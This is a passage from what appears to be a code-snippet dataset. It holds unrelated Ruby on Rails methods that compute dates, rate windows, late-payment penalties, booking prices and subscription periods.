DateTime.now.beginning_of_day.to_date\n @max_end = today + 400.days\n @inv_start = today\n @master_rates_start = today\n @agoda_rates_start = today\n @expedia_rates_start = today\n @bookingcom_rates_start = today\n @gta_travel_rates_start = today\n @orbitz_rates_start = today\n @ctrip_rates_start = today\n\n begin\n # set the date in inventory table\n @inv_start = Date.strptime(params[:inv_start]) unless params[:inv_start].blank?\n @inv_start = today if @inv_start < today\n @inv_start = @max_end if @inv_start > @max_end\n\n # set the date in master rate table\n @master_rates_start = Date.strptime(params[:master_rates_start]) unless params[:master_rates_start].blank?\n @master_rates_start = today if @master_rates_start < today\n @master_rates_start = @max_end if @master_rates_start > @max_end\n\n # set the date in agoda rates table\n @agoda_rates_start = Date.strptime(params[:agoda_rates_start]) unless params[:agoda_rates_start].blank?\n @agoda_rates_start = today if @agoda_rates_start < today\n @agoda_rates_start = @max_end if @agoda_rates_start > @max_end\n\n # set the date in expedia rates table\n @expedia_rates_start = Date.strptime(params[:expedia_rates_start]) unless params[:expedia_rates_start].blank?\n @expedia_rates_start = today if @expedia_rates_start < today\n @expedia_rates_start = @max_end if @expedia_rates_start > @max_end\n\n # set the date in booking.com table\n @bookingcom_rates_start = Date.strptime(params[:bookingcom_rates_start]) unless params[:bookingcom_rates_start].blank?\n @bookingcom_rates_start = today if @bookingcom_rates_start < today\n @bookingcom_rates_start = @max_end if @bookingcom_rates_start > @max_end\n\n # set the date in gta travel\n @gta_travel_rates_start = Date.strptime(params[:gta_travel_rates_start]) unless params[:gta_travel_rates_start].blank?\n @gta_travel_rates_start = today if @gta_travel_rates_start < today\n @gta_travel_rates_start = @max_end if @gta_travel_rates_start > @max_end\n\n # set the date in orbitz\n @orbitz_rates_start = Date.strptime(params[:orbitz_rates_start]) unless params[:orbitz_rates_start].blank?\n @orbitz_rates_start = today if @orbitz_rates_start < today\n @orbitz_rates_start = @max_end if @orbitz_rates_start > @max_end\n\n # set the date in ctrip\n @ctrip_rates_start = Date.strptime(params[:ctrip_rates_start]) unless params[:ctrip_rates_start].blank?\n @ctrip_rates_start = today if @ctrip_rates_start < today\n @ctrip_rates_start = @max_end if @ctrip_rates_start > @max_end\n \n rescue => ex\n flash[:alert] = ex.message\n end\n end", "def paid_until\n last_payment&.end_date\n end", "def set_penalty\n\t\tactually_date = DateTime.now.strftime(\"%F\")\n\t\t@sales.each do |sale|\n\t\t\tif sale.state == \"sinPagar\"\n\t\t\t\tmonths = 2\n\t\t\t\tres = 0\n\t\t\t\tlimit_date = sale.limit_date.strftime(\"%F\")\n\t\t\t\tactually_date_more_30_days = sale.limit_date + 30.days\n\t\t\t\tactually_date_more_30_days_as_string = actually_date_more_30_days.strftime(\"%F\")\n\t\t\t\tif actually_date > limit_date\n\t\t\t\t\tporcent = sale.total_amount * 0.1\n\t\t\t\t\tporcent = porcent.to_i\n\t\t\t\t\tif sale.penalty < porcent\n\t\t\t\t\t\tsale.update(penalty: porcent)\n\t\t\t\t\tend\n\t\t\t\t\tif actually_date >= actually_date_more_30_days_as_string\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\tsum_days = 30 * months\n\t\t\t\t\t\t\tlimit_date_sum_per_months = sale.limit_date + sum_days.days\n\t\t\t\t\t\t\tif limit_date_sum_per_months.strftime(\"%F\") < DateTime.now.strftime(\"%F\")\n\t\t\t\t\t\t\t\tsale.update(penalty: porcent * months)\n\t\t\t\t\t\t\t\tmonths += 1\n\t\t\t\t\t\t\telsif months == 2\n\t\t\t\t\t\t\t\tres = 1\n\t\t\t\t\t\t\t\tsale.update(penalty: porcent * months)\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\tres = 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend while res < 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def save_pricing\n\tif !(Time.current.beginning_of_day..Time.current.end_of_day).include?(@aws_offer_code.offer_code_update_statuses.last.try(:for_date))\n\t\toffer_code_update_statuses = @aws_offer_code.offer_code_update_statuses.create(for_date: Time.current)\n\t\t@json_res[\"terms\"][\"OnDemand\"].each do |k,v|\n\t\t\tprice_json = v.to_a\n\t\t\tget_final_json = price_json[0][1]\n\t\t\tprice_dimension_json = get_final_json[\"priceDimensions\"].to_a[0][1]\n\t\t\tcurrency_json = price_dimension_json[\"pricePerUnit\"].to_a[0]\n\t\t\tcurrency_id = MasterCurrency.get_id(currency_json[0])\n\t\t\tprice_per_unit = currency_json[1]\n\t\t\tif get_final_json.present?\n\t\t\t\taws_price_params = {\n\t\t\t\t\tsku: get_final_json[\"sku\"],\n\t\t\t\t\teffective_date: get_final_json[\"effectiveDate\"],\n\t\t\t\t\tcurrency_id: currency_id,\n\t\t\t\t\tdescription: price_dimension_json[\"description\"],\n\t\t\t\t\tbegin_range: price_dimension_json[\"beginRange\"],\n\t\t\t\t\tend_range: price_dimension_json[\"endRange\"],\n\t\t\t\t\tunit: price_dimension_json[\"unit\"],\n\t\t\t\t\tprice_per_unit: price_per_unit\n\t\t\t\t}\n\t\t\t\tputs \"#{get_final_json[\"sku\"]} saved\"\n\t\t\t\toffer_code_update_statuses.aws_offer_code_prices.create(aws_price_params)\n\t\t\tend\n\t\tend\n\telse\n\t\tputs \"Price can be update once in a day\"\n\tend\nend", "def free_storage_valid_thru_date\n sale_date =\n if self.auction_datum.present? && self.auction_datum.auction_date.present?\n self.yard.utc_sale_date_with_time_for_date(self.auction_datum.auction_date)\n elsif self.sale_confirmed_date.present?\n self.sale_confirmed_date\n else\n DateTime.now\n end\n # No bid history at all may be a data issue,\n # but as far as we're concerned here, it's \n # 3 business days.\n if self.bid_histories.empty?\n self.three_business_days_later_inclusive(sale_date)\n # Kiosk winners get 3 days\n elsif self.high_bid_is_kiosk?\n self.three_business_days_later_inclusive(sale_date)\n # Next scenarios depend on bid type existing\n elsif self.bid_histories.first.bid_type.present?\n bid_type_code = self.bid_histories.first.bid_type.code\n # Live Auction winners / prelim-bid winners / \n # counter-bid (offline) / Buy Now winners / Sale Now \n # winners get 7 days (counting sale_date).\n if bid_type_code == BidType::AURORA_LIVE_BID_CODE || \n bid_type_code == BidType::AURORA_PRELIM_BID_CODE || \n bid_type_code == BidType::AURORA_BUY_NOW_CODE || \n bid_type_code == BidType::FIGS_SALE_NOW_CODE ||\n !self.current_buyer_also_high_bidder?\n sale_date + 6.days\n # Unknown code was received, per Karla they get 3\n # days. (todo: important enough to email us so we know?)\n elsif bid_type_code.present?\n logger.info(\"Unknown bid type received, code is: #{bid_type_code}\")\n self.three_business_days_later_inclusive(sale_date)\n # Code not present also gets the three (we should prevent\n # this scenario in the api, but you know, safety first)\n else\n logger.info(\"BidType.code not present on bid type of description: #{self.bid_histories.first.bid_type.description}\")\n self.three_business_days_later_inclusive(sale_date)\n end\n # All other scenarios get 3 business days\n # (so incomplete data scenarios will get 3 days).\n else\n self.three_business_days_later_inclusive(sale_date)\n end\n end", "def estimated_end_date\n Date.today + remaining_days\n end", "def next_invoice_date\n self.invoices.length > 0 ? self.invoices.order(:id).last.issue_date + period.send(period_type) : starting_date\n end", "def create_autopay_rent(autopay_params, penalties)\r\n first_pay = MyDate::date_from_date_select(autopay_params, \"first_pay\")\r\n autopay_rent = AutoPay.new({:renter_id => self.id,\r\n :property_id => self.property.id,\r\n :object => autopay_params[\"object\"],\r\n :price => autopay_params[\"price\"],\r\n :category => \"in\",\r\n :groupp => \"najem\",\r\n :last_pay => first_pay,\r\n :repeat => autopay_params[\"repeat\"],\r\n :added => Time.now.to_i})\r\n autopay_rent.save\r\n if autopay_rent.save\r\n autopay_rent.generate_first_bill(autopay_params[:rent_penalty])\r\n end_of_month = Time.utc(Time.now.year,Time.now.month,MyDate::Month[Time.now.month][:days])\r\n autopay_rent.generate_bills(end_of_month)\r\n self.actual_rent.update_attributes({:auto_pay_id => autopay_rent.id,\r\n :penalty_id => autopay_params[:rent_penalty]})\r\n return true\r\n else\r\n return false\r\n end\r\n end", "def new_recurring_product_subscription_start_on\n # if currrent_end_date = self.last_active_recurring_product_subscription_term_period_end_on\n if current_order = last_active_recurring_order\n current_order.service_period_end_on + 1.day\n else\n Date.today\n end\n end", "def book_sales(period='enddate', basis, exclude)\n royalty_period = Period.where([\"currentperiod = ? and client_id = ?\", true, self.client_id])\n if period == 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, royalty_period.first.startdate, basis, exclude)\n else #if period isn't 'startdate'\n self.calculate_book_royalties(self, royalty_period.first.enddate, \"1900-01-01\", basis, exclude)\n end\n end", "def set_termination_date\n if effective_date and approved_details.try(:duration) and (effective_date_changed? or approved_details_id_changed?)\n self.termination_date = Date.new(\n effective_date.year + approved_details.duration,\n effective_date.month,\n effective_date.day )\n end\n end", "def each_highest_earning_day(drivers)\n\n\n drivers.each do |driver|\n max = 0\n max_date = \"\"\n\n # TEST----> puts \"START Max: #{max} / Date: #{max_date}\"\n # TEST----> puts \"\\nCurrent driver: #{driver[:driver_id]}\"\n\n driver[:trips].each do |trip|\n\n current_cost = 0\n current_cost = trip[:cost]\n # TEST----> puts \"CURRENT Cost : #{current_cost} / Date: #{trip[:date]}\"\n\n if max < current_cost\n max = current_cost\n max_date = trip[:date].insert(2, \"/\")\n max_date.insert(5, \"/\")\n end\n\n # TEST----> puts \"END Max: #{max} / Date: #{max_date}\"\n end\n\n puts \"#{driver[:driver_id]} earned the most on #{max_date} with $#{max}.\"\n end\n\nend", "def reservation_status_then_showdate ; reserved? ? -(showdate.thedate.to_i) : -1.0e15 ; end", "def price_rules \n # puts \"The start datetime: #{start_datetime}\"\n \n local_datetime = start_datetime.in_time_zone(\"Jakarta\") \n server_datetime = start_datetime\n # puts \"Jakarta_datetime: #{local_datetime} \"\n result_array = []\n current_calendar_id = self.calendar_id\n \n # how can we get the available price rules?\n # 1. get all \n \n # for each booked hour, get the associated price rule \n (1..number_of_hours).each do |x|\n datetime = local_datetime + (x-1).hours \n actual_booking_datetime = start_datetime + (x-1).hours \n server_booking_datetime = server_datetime + (x-1).hours\n \n book_hour_start = datetime.hour\n booking_creation_datetime = self.created_at \n \n \n current_calendar_id = self.calendar_id \n \n \n holiday_price_rule = PriceRule.where{\n # to ensure that we are using the old price at the time of creation\n (\n calendar_id.eq current_calendar_id\n ) & \n (\n is_holiday.eq true \n ) & \n (\n # is still active, and created before the booking creation \n (\n ( is_active.eq true) & \n (created_at.lte booking_creation_datetime)\n ) | \n # is not active, and created before the booking creation\n # and deactivated after the booking creation => \n # Hence, the rule is still in place\n (\n ( is_active.eq false) & \n ( created_at.lte booking_creation_datetime) & \n ( deactivated_at.gt booking_creation_datetime)\n )\n ) & \n\n # 0 - 23 \n (\n ( holiday_date.lte server_booking_datetime ) & \n ( finish_holiday_date.gt (server_booking_datetime + 1.hours - 1.seconds) )\n )\n }.order(\" id DESC\").first\n \n \n \n if not holiday_price_rule.nil?\n result_array << holiday_price_rule.id\n else\n \n price_rules = PriceRule.where{\n # to ensure that we are using the old price at the time of creation\n (\n calendar_id.eq current_calendar_id\n ) & \n\n\n (\n # is still active, and created before the booking creation \n (\n ( is_active.eq true) & \n (created_at.lte booking_creation_datetime)\n ) | \n # is not active, and created before the booking creation\n # and deactivated after the booking creation => \n # Hence, the rule is still in place\n (\n ( is_active.eq false) & \n ( created_at.lte booking_creation_datetime) & \n ( deactivated_at.gt booking_creation_datetime)\n )\n ) & \n\n # 0 - 23 \n (\n ( hour_start.lte datetime.hour ) & \n ( hour_end.gte datetime.hour )\n )\n }.order(\"id ASC, rule_case DESC\") # rule_case 2 == holiday, 1== specific, rule case 0= catch_all\n\n # puts \"Total price rule: #{price_rule.count}\"\n\n final_price_rule = []\n\n\n price_rules.each do |x|\n if x.is_sunday? and datetime.sunday?\n final_price_rule << x \n elsif x.is_monday? and datetime.monday?\n final_price_rule << x \n elsif x.is_tuesday? and datetime.tuesday?\n final_price_rule << x \n elsif x.is_wednesday? and datetime.wednesday?\n final_price_rule << x \n elsif x.is_thursday? and datetime.thursday?\n final_price_rule << x \n elsif x.is_friday? and datetime.friday?\n final_price_rule << x \n elsif x.is_saturday? and datetime.saturday? \n final_price_rule << x \n end\n end\n\n\n price_rule = final_price_rule.sort_by {|x| x.id }.last\n\n result_array << price_rule.id\n\n # corner case:\n # rule 1 : 1300-1300\n # rule 2 : 1300-1400 \n # booking time: 13.30 .. which rule will be selected? \n # we have the ordering by id, ASC\n # in this case: rule2 is created later.. rule2 will be selected. \n\n # corner case\n # rule1 : 2300-2300 \n # it means it will only affect the time from 2300-2400 \n\n\n \n end\n \n\n end\n \n return result_array\n end", "def next_available_move_in_date\n \tbookings = self.bookings.where(state: ['booked', 'deposit outstanding']).order(:move_out)\n \t# if self.bookable_date && self.bookable_date <= Date.today\n return nil if bookings.last&.state == 'deposit outstanding'\n if bookings.empty? || bookings.last.move_out&.past?\n Date.tomorrow\n elsif !bookings.last.move_out.nil?\n bookings.last.move_out + 1.day\n end\n end", "def adjust_order_end_dates(_patient, orders, optimized_hanging_pills)\n orders.each do |order|\n drug_order = order.drug_order\n drug = drug_order&.drug\n next unless drug_order && drug\n\n next unless drug&.tb_drug? && optimized_hanging_pills[drug.id]\n\n hanging_pills = optimized_hanging_pills[drug.id]&.to_f\n\n additional_days = (hanging_pills / order.drug_order&.equivalent_daily_dose || 0).to_i\n next unless additional_days >= 1\n\n order.void_reason = order.auto_expire_date\n # We assume the patient starts taking drugs today thus we subtract one day\n order.auto_expire_date = order.start_date + (additional_days + drug_order.quantity_duration - 1).days\n\n order.save\n drug_order.save\n end\n end", "def sum\n reservation_dates.inject(0.0) do |sum, elem|\n sum += elem.cost*(1+(elem.hours-8)*1.5/8)\n end\n end", "def waiting_date (last_promo_item, plan)\n num = ((last_promo_item.validez - last_promo_item.created_at)/60/60/24).round\n case num\n when 7\n if (plan == 'plus')\n last_promo_item.validez + 3.days\n elsif (plan == 'basic')\n last_promo_item.validez + 10.days\n end\n when 3\n if (plan == 'plus')\n last_promo_item.validez + 2.days\n elsif (plan == 'basic')\n last_promo_item.validez + 5.days\n end\n when 1\n if (plan == 'plus')\n last_promo_item.validez + 1.days\n elsif (plan == 'basic')\n last_promo_item.validez + 2.days\n end\n else\n #Error -> Promo lasted and unselectable number of days\n end\n\n end", "def chart_maximum_date\n [@pv.keys.max,\n @ev.keys.max,\n @ac.keys.max,\n forecast_finish_date(@basis_hours)].max\n end", "def last_scheduled_payment_date(from_date)\n payment_schedule(from_date).last[:due_on]\n end", "def calculate_penalties\n return if self.added_penalties == []\n min_repeat = 10000 \n penalty_with_min_repeat = nil\n self.added_penalties.each{|added_penalty| \n if added_penalty.penalty.after < min_repeat\n penalty_with_min_repeat = added_penalty\n min_repeat = added_penalty.penalty.after\n end}\n # days from deadline to date when penalty with min repeat was added to total penalties sum\n days_from_deadline_to_last_added = MyDate::seconds_to_days(penalty_with_min_repeat.count_generated_at - self.deadline)\n days_from_deadline_to_last_added = 1 if days_from_deadline_to_last_added == 0\n # days from date, when penalty with min repeat was added to total sum, to now(today)\n days_from_last_added_to_now = MyDate::seconds_to_days(MyDate::today - penalty_with_min_repeat.count_generated_at)\n days_from_last_added_to_now += days_from_deadline_to_last_added\n # sort added penalties by repeat days DESCendant\n sorted_added_penalties = self.added_penalties.sort{|added_penalty1, added_penalty2| added_penalty2.penalty.after <=> added_penalty1.penalty.after}\n \n penalties_total = penalty_with_min_repeat.sum\n days_from_deadline_to_last_added.upto(days_from_last_added_to_now) do |actual_late_day|\n for added_penalty in sorted_added_penalties \n if ((added_penalty.count_generated_at < MyDate::today)&&(!added_penalty.bill_is_paid))\n apply_penalty = (((actual_late_day % added_penalty.penalty.after) == 0) && actual_late_day != days_from_last_added_to_now)\n penalty_is_percentual = added_penalty.penalty.percent\n if apply_penalty\n if penalty_is_percentual\n penalty_to_add = (added_penalty.bill.price + penalties_total) * (added_penalty.penalty.price.to_f/100)\n added_penalty.add_to_history(actual_late_day,penalties_total,penalty_to_add)\n penalties_total += penalty_to_add\n else\n added_penalty.add_to_history(actual_late_day,penalties_total,added_penalty.penalty.price)\n penalties_total += added_penalty.penalty.price\n end\n added_penalty.update_attribute(\"count\", added_penalty.count + 1) if AddedPenalty.exists?(added_penalty)\n end\n end\n end\n end\n self.added_penalties.each{|added_penalty| \n added_penalty.update_attributes({:count_generated_at => MyDate::today,\n :sum => penalties_total }) if AddedPenalty.exists?(added_penalty.id)}\n end", "def forecast_finish_date(basis_hours)\n if complete_ev(basis_hours) == 100.0\n @ev.keys.max\n elsif today_spi(basis_hours) == 0.0\n @pv.keys.max\n else\n if @issue_max_date < @basis_date\n rest_days = (@pv[@pv.keys.max] - @ev[@ev.keys.max]) / today_spi(basis_hours) / basis_hours\n @basis_date + rest_days\n else\n rest_days = @pv.count { |key, _value| key > @basis_date }\n @pv.keys.max - (rest_days - (rest_days / today_spi(basis_hours)))\n end\n end\n end", "def effective_end_datetime\n end_date + 1.day + roster.switchover.minutes\n end", "def last_day_of_standard_grace_window\n (expiry_date + Rails.configuration.grace_window.days) - 1.day\n end", "def last_reg_date\n reg_close_date || finishes\n end", "def recalculate_dates(date = nil)\n if self.standing_line_items.count > 0\n date ||= Date.current\n current = date.in_time_zone(self.vendor.time_zone)\n self.standing_order_schedules.where(\"deliver_at > ? and created_at is null\", current).update_all(visible: false)\n current_next = current\n mlt = max_lead_time\n\n start_next = self.start_at.in_time_zone(self.vendor.time_zone)\n # allow start_at to be the first date selected if lead_time is met based on current date\n if current_next + mlt.days > start_next\n start_next += mlt.days\n end\n\n if current_next > start_next\n self.calculate_next(current_next, self.vendor, self.max_lead_time)\n else\n self.calculate_next(start_next, self.vendor, self.max_lead_time)\n end\n end\n end", "def get_eligible\n #older than 1 day, not older than X date (whenever they get these cards).\nend", "def next_date\n next_observance.try(:start_on) || 100.years.from_now.to_date\n end", "def end_of_commitment\n user.invoices.with_state(:open).last.next_payment_at.advance(months: commitment_period - 1)\n end", "def max_allowed_deadline_date\n @deadline_calculator.max_allowed_deadline_date(max_time_limit)\n end", "def last_active_recurring_order\n self.orders.recurring.find(:all, :order => \"orders.id ASC\").select {|o| Date.today >= o.service_period_start_on && Date.today <= o.service_period_end_on}.last\n end", "def due_date\n if @lease.grace_period.present? && @lease.grace_period >= 0\n @date + @lease.grace_period.day\n else\n @date\n end\n end", "def calculate_dates\n self.inactive_date = Time.now + 2.months\n self.delete_date = Time.now + 4.months\n end", "def available_for?(reservation)\n return false if staff_only? && !reservation.staff? # TODO handle staff reservations properly\n return false unless ready_for_checkout?\n return false if reservation.start_date.blank? || reservation.end_date.blank?\n if reservation.staff?\n reservation_start_date_with_buffer = reservation.start_date + 1.second\n reservation_end_date = reservation.end_date - 1.second\n else\n reservation_start_date_with_buffer = reservation.start_date - 1.day - (category.buffer_days_between_checkouts.to_i * 1.day)\n reservation_end_date = reservation.end_date\n end\n conditions = [['(start_date <= :start_date AND end_date >= :end_date)'],\n ['(start_date <= :end_date AND end_date >= :end_date)'],\n ['(start_date <= :start_date AND end_date >= :end_date)'],\n ['(start_date >= :start_date AND end_date <= :end_date)'],\n ['(start_date >= :start_date AND start_date <= :end_date)'],\n \t\t['(end_date >= :start_date AND end_date <= :end_date)']]\n reservations.find(:all, :conditions => [\"submitted = true\n AND equipment_reservation_id != #{reservation.id} \n AND (#{conditions.join(\" OR \")})\", \n { :start_date => reservation_start_date_with_buffer, :end_date => reservation_end_date }]).empty?\n end", "def output_max_profit_dates(list_of_drivers = DRIVERS_INFO)\n max_profit_dates = list_of_drivers.map do |driver|\n day_max_profit = driver[:ride_info].max_by do |current_ride|\n current_ride[:ride_cost]\n end\n \n current_driver = {}\n current_driver[:driver_id] = driver[:driver_id]\n current_driver[:profitable_date] = day_max_profit[:ride_date]\n \n puts \"Driver #{current_driver[:driver_id]} made the most money on #{current_driver[:profitable_date]}.\"\n\n current_driver\n end\n\n return max_profit_dates\nend", "def multiplex_be_under_license_number\r\n\r\n\t\tsql = <<-'EOL'\r\n\t\t\twith\r\n\t\t\t\tranges as (\r\n\t\t\t\t\tselect *\r\n\t\t\t\t\t\tfrom reservations\r\n\t\t\t\t\t\twhere ? <= end_date and start_date <= ? and id <> ?\r\n\t\t\t\t),\r\n\t\t\t\tpoints as (\r\n\t\t\t\t\tselect distinct start_date as date from ranges\r\n\t\t\t\t\tunion\r\n\t\t\t\t\tselect distinct end_date as date from ranges\r\n\t\t\t\t)\r\n\t\t\tselect max(v) as num from (\r\n\t\t\t\tselect count(*) as v\r\n\t\t\t\t\tfrom points,ranges\r\n\t\t\t\t\twhere points.date between ranges.start_date and ranges.end_date\r\n\t\t\t\t\tgroup by points.date\r\n\t\t\t);\r\n\t\tEOL\r\n\r\n\t\tid_not_null = id || -1 # dirty hack NULL回避\r\n\t\tin_use = Reservation.find_by_sql([sql,start_date,end_date,id_not_null]).first.num\r\n\r\n\t\tif !in_use.nil? && in_use >= 2\r\n\t\t\terrors.add(:hoge,\"対象期間中は既に#{in_use}件の利用があります。dynaTraceの最大同時利用システム数は2件です。\")\r\n\t\tend\r\n\tend", "def start_date\n @start_date ||= existing_prices.map { |x| Date.strptime(x.split(\" \")[1], DATE_FORMAT) }.max || begin\n stats = `ledger stats` # Most compact way to retrieve this data\n date_str = /Time\\speriod:\\s*([\\d\\w\\-]*)\\s*to/.match(stats)[1]\n return Date.strptime(date_str, \"%y-%b-%d\")\n end\n end", "def payment_time\n pot.end_at - Time.zone.now\n end", "def safe_renewal_application_dates(status)\n case status\n when :draft, :enrollment_open\n current_effective_date (TimeKeeper.date_of_record + 2.months).beginning_of_month.prev_year\n when :enrollment_closed, :enrollment_eligible, :enrollment_extended\n current_effective_date (TimeKeeper.date_of_record + 1.months).beginning_of_month.prev_year\n when :active, :terminated, :termination_pending, :expired\n if TimeKeeper.date_of_record.month > 10\n current_effective_date (TimeKeeper.date_of_record - 3.months).beginning_of_month.prev_year\n elsif TimeKeeper.date_of_record.month == 1\n current_effective_date TimeKeeper.date_of_record.beginning_of_month.prev_year\n else\n current_effective_date (TimeKeeper.date_of_record - 1.months).beginning_of_month.prev_year\n end\n end\n end", "def new_autopay_rent(price, from_date)\r\n new_auto_pay_rent = AutoPay.new({:renter_id => self.id,\r\n :property_id => self.property.id,\r\n :object => self.actual_rent.auto_pay.object,\r\n :price => price,\r\n :category => \"in\",\r\n :groupp => \"najem\",\r\n :last_pay => from_date,\r\n :repeat => self.actual_rent.auto_pay.repeat,\r\n :added => Time.now.to_i}) \r\n new_auto_pay_rent.save\r\n return new_auto_pay_rent\r\n end", "def last_active_recurring_product_subscription_term_period_end_on\n if order = self.last_active_recurring_order\n order.created_at.to_date + last_active_recurring_product_subscription.term_in_days\n end\n end", "def date_payroll\n\t\treturn created_at,init_date,end_date,fortnight\n\tend", "def get_cost\n time_range = {}\n if reserv_range.end.day - reserv_range.begin.day == 1\n time_range[reserv_range.begin.wday] = (\n ((reserv_range.begin.hour * 60 + reserv_range.begin.min) / 60.0)...24.0\n )\n\n time_range[reserv_range.end.wday] = (0.0...(reserv_range.end.hour * 60 + reserv_range.end.min) / 60.0)\n else\n time_range[reserv_range.end.wday] = (((reserv_range.begin.hour * 60 + reserv_range.begin.min) / 60.0)...(reserv_range.end.hour * 60 + reserv_range.end.min) / 60.0)\n end\n\n cost_sum = 0\n\n time_range.each do |wday, tr|\n billings = Billing\n .select(\n \"numrange(start_time, end_time) * numrange(#{tr.begin},#{tr.end}) as period, cost_cents, cost_currency\"\n )\n .where(\n 'numrange(start_time, end_time) && numrange(:start, :end) AND day_type = :day_type AND sauna_id = :sauna_id',\n start: tr.begin,\n end: tr.end,\n day_type: wday,\n sauna_id: sauna_id\n )\n\n # puts billings.to_sql\n\n billings.each do |bill|\n cost_sum += (bill.period.end - bill.period.begin) * bill.cost_cents\n end\n end\n\n cost_sum\n end", "def last_day\n start_date + rental_days.days\n end", "def recalculate_price!\n self.total_price = service_type_reservations.where(paid: false).inject(0.0){|sum, service_type_reservation| sum += service_type_reservation.price }\n save!\n end", "def next_service_billing_period\n if self.purchase_order && self.purchase_order.recurring? && self.purchase_order.pending?\n payment = self.purchase_order.payments.recurring.find(:all, :order => \"payments.id ASC\").last\n (self.service_period_end_on + 1.day)..(self.service_period_end_on + (payment.interval_length.to_i.send(payment.interval_unit || :month)))\n end\n end", "def on2_2(prices)\n max_profit = 0\n\n return max_profit if prices.empty?\n\n prices.each_with_index do |number, index|\n max_price_after_date = prices[index..-1].max\n\n next if max_price_after_date <= number\n\n max_profit = [max_price_after_date - number, max_profit].max\n end\n\n max_profit\n end", "def actual_accommodation\r\n return self.accommodation_histories.last\r\n end", "def book_royalty(period='enddate', basis=\"Net receipts\")\n royarray = []\n sales = self.book_sales(period, basis, false) # this calls the royalty calculation for net receipts\n sales.each do |sale|\n royarray << sale.royalty_by_band.inject(0) { |sum, i| sum + i.to_f unless i.nan? || i.nil? }\n end\n book_royalty = royarray.inject(0) { |sum, i| sum +i.to_f }\n end", "def no_other_reservations_on_this_time_period\n item_reservations.each do |ir|\n item = ir.item\n amount_available = item.get_availability(pick_up_time.to_datetime, return_time.to_datetime, id)\n if ir.amount > amount_available\n if amount_available > 0\n errors.add(:items, errors.generate_message(:items, :too_few_available, { :item_title => item.title, :count => amount_available.to_s }))\n else\n errors.add(:items, errors.generate_message(:items, :none_available, { :item_title => item.title }))\n end \n end\n end \n end", "def get_postponement_date(options)\n subscription_date = options.fetch(:subscription_date)\n first_renewal_date = options.fetch(:first_renewal_date)\n merchant_cutoff_day = options.fetch(:merchant_cutoff_day)\n max_delay = options.fetch(:max_delay)\n is_shippable = options.fetch(:is_shippable)\n\n return nil unless is_shippable\n\n first_mcd = get_first_merchant_cutoff_date(subscription_date, merchant_cutoff_day)\n postponement_end = first_mcd + max_delay\n\n (first_mcd..postponement_end).include_with_range?(first_renewal_date) ? postponement_end + 1.day : nil\n end", "def next_scheduled_use_date\n next_date = nil\n\n open_orders.each do |o|\n if o.access_date_start\n next_date ||= o.access_date_start\n if o.access_date_start < next_date\n next_date = o.access_date_start\n end\n end\n end\n next_date\n end", "def stock_picker(prices)\n acc_profit = 0\n acc_buy_date = 0\n acc_sell_date = 0\n \n profits = prices.map.with_index do |price, index|\n remaining_days = prices[index..-1] # to create an array that becomes smaller each iteration from index 0\n maximum = remaining_days.max # to identify the maximum number in that iteration's array\n highest_value = maximum - price # price is at index 0, so maximum minus minimum for each one will help identify the best buy/sell dates\n \n # create accumilator for index and value of highest profit\n if highest_value > acc_profit\n acc_profit = highest_value\n acc_buy_date = prices.index(price)\n acc_sell_date = prices.index(maximum)\n end\n\n end\n \n p \"Buy on day #{acc_buy_date} and sell on day #{acc_sell_date} for a profit of $#{acc_profit}.\"\n end", "def calcs_for_date_range(start_date, end_date, abandon_rate)\n puts \"\\tFrom #{start_date} to #{end_date} inclusive:\"\n\n total_registrations = WasteExemptionsEngine::Registration.where(\n created_at: start_date.beginning_of_day..end_date.end_of_day\n ).count\n total_registrations_s = number_with_delimiter(total_registrations)\n puts \"\\tTotal registrations: #{total_registrations}, of which:\"\n\n assisted_digital_registrations = WasteExemptionsEngine::Registration.where(\n created_at: start_date.beginning_of_day..end_date.end_of_day,\n assistance_mode: \"full\"\n ).count\n assisted_digital_registrations_s = number_with_delimiter(assisted_digital_registrations)\n puts \"\\t... assisted digital: #{assisted_digital_registrations_s}\"\n\n fully_digital_registrations = WasteExemptionsEngine::Registration.where(\n created_at: start_date.beginning_of_day..end_date.end_of_day,\n assistance_mode: nil\n ).count\n fully_digital_registrations_s = number_with_delimiter(fully_digital_registrations)\n puts \"\\t... fully digital: #{fully_digital_registrations}\"\n\n delta = total_registrations - assisted_digital_registrations - fully_digital_registrations\n puts \"\\t(delta of #{delta} is due to some registrations not having metaData.route set)\" unless delta.zero?\n\n abandon_rate_s = number_to_percentage(100.0 * abandon_rate, precision: 0)\n non_abandon_rate_s = number_to_percentage(100.0 * (1 - abandon_rate), precision: 0)\n\n total_registrations_started = (total_registrations / (1.0 - abandon_rate)).round(0)\n total_registrations_started_s = number_with_delimiter(total_registrations_started.to_i)\n\n total_registrations_completed = fully_digital_registrations + assisted_digital_registrations + delta\n total_registrations_completed_s = number_with_delimiter(total_registrations_completed)\n\n total_registrations_started_online = (fully_digital_registrations / (1.0 - abandon_rate)).round(0)\n total_registrations_started_online_s = number_with_delimiter(total_registrations_started_online)\n\n total_registrations_abandoned = total_registrations_started - total_registrations_completed\n total_registrations_abandoned_s = number_with_delimiter(total_registrations_abandoned)\n\n puts \"\\tSo including abandoned attempts, estimated orders started = \" \\\n \"#{total_registrations_s} / (1 - #{abandon_rate_s}) = #{total_registrations_started_s}, of which: \"\n puts \"\\t... completed: #{total_registrations_completed_s}\"\n puts \"\\t... abandoned: #{total_registrations_abandoned_s}\"\n\n puts \"\\nSummary:\"\n puts \"\\t1. Total number of transactions started and completed online only: #{fully_digital_registrations_s}\"\n puts \"\\t2. Total number of transactions started online: ESTIMATED: #{total_registrations_started_online_s}\"\n puts \"\\t\\t(Estimated dropoff rate for the last 30 days: #{abandon_rate_s}\"\n puts \"\\t\\t so estimated completion (non-abandoned) rate for the last 30 days: #{non_abandon_rate_s}\"\n puts \"\\t\\t so given #{fully_digital_registrations_s} fully digital orders, \" \\\n \"estimated total orders started online = \" \\\n \"(#{fully_digital_registrations_s}/#{non_abandon_rate_s}) = #{total_registrations_started_online_s})\"\n puts \"\\t3. Number of online claims: #{fully_digital_registrations_s}\"\n puts \"\\t4. Total number of claims (online + offline + unknown): \" \\\n \"#{fully_digital_registrations_s} + #{assisted_digital_registrations_s} + \" \\\n \"#{delta} = #{total_registrations_completed_s}\"\n\n puts \"====================================================================================================\"\n end", "def release_date\n # If no release delays allowed, return today's date as release date\n return Time.zone.today if 